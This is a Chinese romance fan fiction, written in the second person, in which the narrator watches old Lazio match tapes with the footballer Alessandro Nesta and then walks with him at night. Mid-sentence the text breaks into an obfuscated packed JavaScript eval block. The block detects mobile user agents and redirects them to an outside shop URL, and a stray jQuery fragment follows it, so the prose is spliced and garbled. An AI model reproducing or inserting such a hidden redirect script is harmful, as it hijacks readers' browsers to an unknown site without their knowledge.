足球，准确来说，竞技足球，真的是一项伟大的运动。
它是原始人类进化到现代后，刻在基因里的、对猎物本能的追逐。
你从植物人状态苏醒后，专家明确表示——长期植物人卧床，大脑深浅睡眠结构碎裂，即便连续昏睡数月，脑神经修复效率极低；苏醒后 5 个月亚急性期，必须人为管控作息，早睡早起是标准化康复方案。
也就是说，苏珊和佐罗每天都盯着你：21:45 上床，22 点关灯，在床上安静闭目，哪怕躺 1～2 小时睡不着，也只能躺着休息，绝对禁止你起身走动、开灯消遣。
你：窒息。
虽然他的比赛经常是在下午三点或者是傍晚五点半左右开始，但你也会因为一些事情——比如复建，错过了他的比赛直播。
所以这个时候，苏珊就会帮你录好磁带方便你隔天有空的时候看录播。
内斯塔家的磁带更是齐全——不过从他的表情看来，他并不知道自己有这么多的磁带。
“应该是卡提亚录的。”他微笑道，“她一向很细心。”
你眼睛发亮，目光在这些手写的日期上徘徊——“你是几几年进一线队的？我们从什么时候开始看？”
他低头，勾了勾嘴角，“让我看看，我记得我的首秀是……”
“其实我是78分钟的时候才替补出场的。”
于是你果断按了快进键，别人你才懒得看。
视频最终停在了 1994 年 3 月中旬，拉齐奥对阵乌迪内斯那一役。
“…… 那时候你穿14号球衣？”
“嗯。”
“有点青涩。”还有点婴儿肥呢，你努力的盯着上面的肉色色块，老实说就算内斯塔家现在的电视已经算是市面上最好的彩屏电视了，但是也无法挽救94年的渣渣画质。
场上比分画面显示是 2-2，气氛焦灼得快要冒烟。教练喊停换人，14号内斯塔登场。
模糊的画质里，依旧能清晰看出 17 岁的他是个多么扎眼的罗马少年 —— 瘦高、白皙，一头蓬松的黑色小卷发，浓眉深眼，鼻梁高挺，脸庞干净得不像话。神情冷峻又专注，站在一群意甲壮汉中间，清秀得有些格格不入，可眼神锐利，气场沉稳，一点不像刚上赛场的小孩。
解说在他登场后三分钟观察点评他——「看得出孩子极度紧张，身体紧绷、不敢贸然上抢，全程收缩站位，没有一次鲁莽出脚滑铲；选位很聪明，牢牢钉死对方边路插上前锋，两次原地卡位封堵内切线路，处理后场短传稳健，没有盲目大脚解围。」
最后两分钟，在面对对手的持续围攻时，「乌迪内斯全线压上追分，整条防线承压，唯独内斯塔镇守的中路防区没有出现漏洞，没有被前锋突破、没有送出致命空当，12 分钟零失误，初生牛犊的冷静远超预期。」
你mua的亲了他一口，眼睛亮亮地看着他，“意甲史上最伟大的足球运动员之一，完成了他的首秀。”
你们继续往下看其他的录像带。
凭借首秀的亮眼表现，再加上他从青训就扎根拉齐奥，从 1994 赛季开始，内斯塔换上了 13 号球衣。
那个赛季意甲一共 34 轮，他出场 11 次 ——2 次首发，9 次替补。
其中最让人印象深刻的，是、1995.1.15 拉齐奥 VS 福贾的那一场。
你照旧直接快进到他上场的时间。
依旧是替补——依旧是零失误，零被过，零吃牌。
虽然是替补，但对他来说，他也一点点挤进了拉齐奥的主力战术体系。
和前一年不同，说起刚过去的 95-96 赛季，内斯塔整个人都透着意气风发。
“这个赛季，你已经是队里的常规主力了。” 语气里满是藏不住的骄傲。
等看到他最近的时候，他已经穿着拉齐奥 13 号蓝白竖条球衣，早已不是当年的边缘替补了。
他的身形比从前更挺拔，185cm 的骨架舒展有力，褪去了 17 岁的单薄，多了一层紧实的肌肉线条，却依旧保留着少年的干净轮廓。浓黑平直的眉毛下，深棕色眼眸锐利如鹰，高挺鼻梁让侧脸线条格外清晰，黑色短发利落清爽。
球场被蓝白色浪潮淹没，欢呼声震得看台都在微微发颤。
尤其是在左后卫被罚离场后，阵型被迫收缩，内斯塔临时兼顾中路防空以及左路空档补防，一人覆盖原本两名防守球员的防区，化解 3 次禁区前沿冲击，守住 1-1 比分至伤停补时。
“太帅了太帅了！” 你激动得不行，看得那叫一个热血沸腾，“我爱死你了。”
你猛地转头，“mua” 一口亲在他脸上。
这一刻，你才真正有点明白，他为什么会有那么多球迷追着他跑。
正想继续肝下一场，手却被他轻轻按住。
“宝贝，我知道你爱我了。” 他抬了抬下巴，示意窗外，“你坐的时间有些久了，该起来走走。”
他还记着，你是个在康复期、需要多活动、不能总闷着的病人。
你想反驳，说自己睡得够多了，一点也不困。
可对上他坚定又温柔的眼神，还是乖乖投降了。
没办法，刚刚你还对着电视呐喊着的人，出现在你面前，谁也扛不住啊。
你：虽然喷菇头降了他一点点颜值，只有一点点。
他看到你的视线还粘着电视机里的他不放，一点起来的意思也没有。
他刮了刮自己的鼻子，有些无奈，“我本人在你面前呢？看看我？宝贝？”
我：“抱歉亲爱的，球场上的你真的太帅了。”
他更无奈了，“不都一样吗？我现在不帅吗？”他故意把脸凑到你的面前。
呃……长年风吹日晒，毛孔其实还是有些粗大的。
但是你不介意，你啾咪了他一口。
“还是有点不一样的。”
怎么说呢，身边的桑德罗，有着让你一见钟情的外貌，是用温柔耐心让你日久生情的爱人。
而赛场上的他，是让你心动的强者。
人类天生怜惜弱者，追逐强者，这一点，是刻在骨子里。
看了一会录播后，你不情不愿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17659880|206129||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地被他拉起来，腿刚沾到地面，还忍不住回头瞟了一眼电视屏幕。
“再看五分钟嘛，就五分钟……”
内斯塔被你逗笑，弯腰轻轻把你外套拢好，声音低低的：“五分钟之后，你又会说再五分钟。”
他伸手牵住你的手，掌心温热干燥，力道很稳，“天黑了，晚风很舒服的，陪我走一圈？”
你：哎，既然你都这么说了的话。
被他半扶半牵着走出房间，院子里的晚风轻轻吹过来，带着一点罗马夏天特有的青草香。
你晃了晃两人交握的手，还在回味刚才的画面：
“你那时候真的好厉害啊，范?巴斯滕耶，世界足球先生，被你断得一点脾气都没有。”
内斯塔侧头看你，眼角弯起一点浅弧，少年感混着成熟的温柔：
“其实那时候的我也很紧张，上场前手心全是汗。”
“骗人，” 你哼了一声，“视频里你冷静得像块石头。”
他低笑出声，脚步放慢，配合着你的步调：“只敢在场上冷静，下场之后我的心跳了好久。”
走了一段，你忽然停下，仰起头看他。
天色暗下来，他的轮廓在昏黄路灯下显得格外柔和，和赛场上那个冷峻的13 号判若两人。
“亚历山德罗,内斯塔。”你第一次叫他的全名。
“嗯？”
“我现在有点明白，为什么那么多人喜欢你了。”
你轻轻靠到他手臂上，声音软软的，“球场里的你，真的在发光。”
他顿了顿，反手把你搂得更近些，下巴轻轻抵在你发顶：
“可我更喜欢现在这样。”
“嗯？”
“喜欢你看着我，不是看球星，是只看着我。”
他声音很轻，却格外清晰，“只看我。”
你心头一软，踮起脚尖在他下巴上亲了一下。
“那当然啦。”
“场上的你是大家的，可身边的你，才是我的。”
“最开始认识你的时候，我连足球是什么都不知道。”
“那现在呢……”
“现在认识了世界第一伟大的后卫……亚历山德罗内斯塔先生……”
“但是让先我心生爱意的，是我身边的你哦。”
他眼底瞬间漾开笑意，牵着你继续慢慢往前走。
“那就一直看着我吧。”
“嗯。”
“看多久？”
“你陪我去许愿池扔多久的硬币，我就看你多久。”
夜色温柔，晚风轻扬，远处隐约还能听见小镇里球迷哼着拉齐奥的歌。
你晃了晃相握的手掌，“硬币扔不完，我的目光就不会移开。”
而你身边的这位，曾经冻结巴斯滕，未来也将惊艳整个世界的天才后卫，此刻只是安安静静陪着你散步，连脚步都放得极轻。
他低笑一声，手臂悄悄收力把你拢在身侧：“那我准备一辈子的硬币，天天陪你去特雷维。”
原来最让人着迷的，从来不是聚光灯下的神话，而是灯光熄灭后他只属于你的温柔。